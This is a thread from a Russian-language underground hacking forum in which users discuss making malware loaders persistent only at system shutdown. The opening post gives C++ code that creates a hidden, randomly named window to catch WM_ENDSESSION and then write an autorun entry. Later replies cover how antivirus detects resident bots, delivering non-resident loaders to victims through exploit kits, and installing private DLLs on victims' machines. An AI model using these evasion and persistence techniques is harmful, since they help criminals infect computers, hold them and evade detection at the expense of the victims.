• XSS.stack #1 – первый литературный журнал от юзеров форума

Резидент/нерезидент

wachdog

floppy-диск
Пользователь
Регистрация
27.08.2015
Сообщения
7
Реакции
0
Авторы софта выпускают часто 2 отдельных билда: резидент и не резидент. Понятно что пропись в автозагрузку любым методом это дополнительное палево. И нерезидент поэтому стучит лучше. Но почему это палево не перенести на момент выключения/перезагрузки ОС? Тогда до первого выключения бот работает как нерезидент, а в момент выключения пропишется в автозагрузку. Идеальный же вариант.

Код для обнаружения момента выключения ниже. Если котротко, то ловим оконное сообщение WM_ENDSESSION, которое получают все приложения и наше тоже. Для этого надо всего лишь создать окно. Хоть не видимое. И это не палево. Нормальные приложения создают таких окон много. А мы можем просто создавать каждый раз со случайными именами и координатами/размерами. Так просто и получаем все приемущества не резидента до выключения.

А в момент выключения, вместо того чтобы потерять нерезидента навсегда, делаем его резидентом.

Метод испытан. Функциональность ОС на момент получения сообщения WM_ENDSESSION точно позволяет, по крайней мере, сделать запись в реестр.

Код:
//запускать в отдельном потоке!

LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
ATOM RegMyWindowClass(HINSTANCE, LPCTSTR);


ATOM RegMyWindowClass(HINSTANCE hInst, LPCTSTR lpzClassName)
{
	WNDCLASS wcWindowClass = {0};
	// адрес ф-ции обработки сообщений
	wcWindowClass.lpfnWndProc = (WNDPROC)WndProc;
	// стиль окна
	wcWindowClass.style = CS_HREDRAW|CS_VREDRAW;
	// дискриптор экземпляра приложения
	wcWindowClass.hInstance = hInst;
	// название класса
	wcWindowClass.lpszClassName = lpzClassName;
	// загрузка курсора
	wcWindowClass.hCursor = LoadCursor(NULL, IDC_ARROW);
	// загрузка цвета окон
	wcWindowClass.hbrBackground = (HBRUSH)COLOR_APPWORKSPACE;
	return RegisterClass(&wcWindowClass); // регистрация класса
}

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{

	// выборка и обработка сообщений
	switch (message)
	{
	
  case WM_ENDSESSION:
//Вот это и есть момент окончания пользовательской сессии, при выключении, перезагрузки, logout
//Вот здесь и пишемся в автозагрузку
      
	
  	ExitProcess(0);
  
  default:  
  	// все сообщения не обработанные Вами обработает сама Windows
  	return DefWindowProc(hWnd, message, wParam, lParam);
	}

	return 0;

}


void Autorun(HINSTANCE hInstance)
{

	// имя будущего класса
	char* Class = "random";

	// регистрация класса
	if (!RegMyWindowClass(hInstance, Class))
  return;

	// вычисление координат центра экрана
	RECT screen_rect;
	GetWindowRect(GetDesktopWindow(),&screen_rect); // разрешение экрана
	int x = screen_rect.right / 2 - random;
	int y = screen_rect.bottom / 2 - random;

	// имя будущего окна
	char* Name = "random";

	// создание диалогового окна
	HWND hWnd = CreateWindow(Class, Name, 
  WS_BORDER, x, y, random, random, NULL, NULL, 
  hInstance, NULL);

	// цикл сообщений приложения
	MSG msg = {0};    // структура сообщения
	int iGetOk = 0;   // переменная состояния
	while ((iGetOk = GetMessage(&msg, NULL, 0, 0 )) != 0) // цикл сообщений
	{
  if(iGetOk == -1) 
  	return;
  
  TranslateMessage(&msg);    
  DispatchMessage(&msg);
	}

}
 
https://blog.gdatasoftware.com/blog/article...nnovations.html

Тоже очень интересная технология, вкратце: код бота целиком находится в адресном пространстве explorer.exe(оригинальный exe удалён), также создаётся поток, который отслеживает сообщение WM_ENDSESSION создавая при этом невидимое окно. Если такое сообщение получено, то бот скидывает своё тело на диск, а в ветку реестра пишет lnk(ярлык) на свой файл.
 
Ну вот там и для отлова WM_ENDSESSION 1 в 1 как у меня фунции (MSDN скорее всего первоисточник). Тем более тема рабочая. Вопрос - почему не популярно? Минусов не вижу, профита много.
 
Авторы софта выпускают часто 2 отдельных билда: резидент и не резидент. Понятно что пропись в автозагрузку любым методом это дополнительное палево. И нерезидент поэтому стучит лучше. Но почему это палево не перенести на момент выключения/перезагрузки ОС?
А в момент выключения, вместо того чтобы потерять нерезидента навсегда, делаем его резидентом.
Вопрос - почему не популярно? Минусов не вижу, профита много.
Дело не в том, что когда ты сделаешь софт/лоадер резидентом, а в... - при следующей загрузке антивирус будет проверять автозагрузку, и естественно может заметить резидента, и даже если он будет закриптован и в нем будут приватные обходы чего-то там, его антивирус может отправить (допустим, просто потому что его нет в "белом списке" антивируса) на анализ в "лабораторию", а там обезьянки работающие за банан сделают реверс и соответственно детект.., а это уже коснется всех кто покупал данный софт...
Когда же нерезидент себя удаляет сразу, его проблемно обнаружить и стало быть сложнее обнаружить источник распространения. (это и есть одна из причин по которой нерезидент стучит лучше.)
А еще, к примеру, нерезидент нужен именно для того, чтобы ты его закидывал на комп жертвы через трафик. Скажем так: - это просто дополнение к связкам... и чем меньше размером нерезидент - тем лучше, и это может быть очень важно, к примеру, ты можешь посмотреть уязвимость к UFR, там есть лимит на размер буфера в памяти, резидент обычно имеет больший размер чем нерезидент и может просто тупо не вместицца... Поэтому, если ты юзаешь уязвимость, то твой выбор скорее всего будет очевиден - нерезидент. (особенно, если тебе нужны права админа...)
Плюс хороший нерезидент не рассчитан на крипт, что экономит твои деньги, ну а если ты нерезидента криптуешь, - то это уже не нерезидент... (ИМХО)
Еще допустим тебе нужно на комп жертвы заинсталлить приватнтую dll (просто так ее не установишь, а нерезидент-лоадер может это сделать), и тебе нах не нужно что-то лишнее (чтобы удержать под контролем комп) и палевное.., что юзают другие неадекваты...
Ситуаций может быть много, когда нерезидент нужнее чем резидент, поэтому их и выпускают (как ты выразился) в виде "2 отдельных билдов: резидент и нерезидент".
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх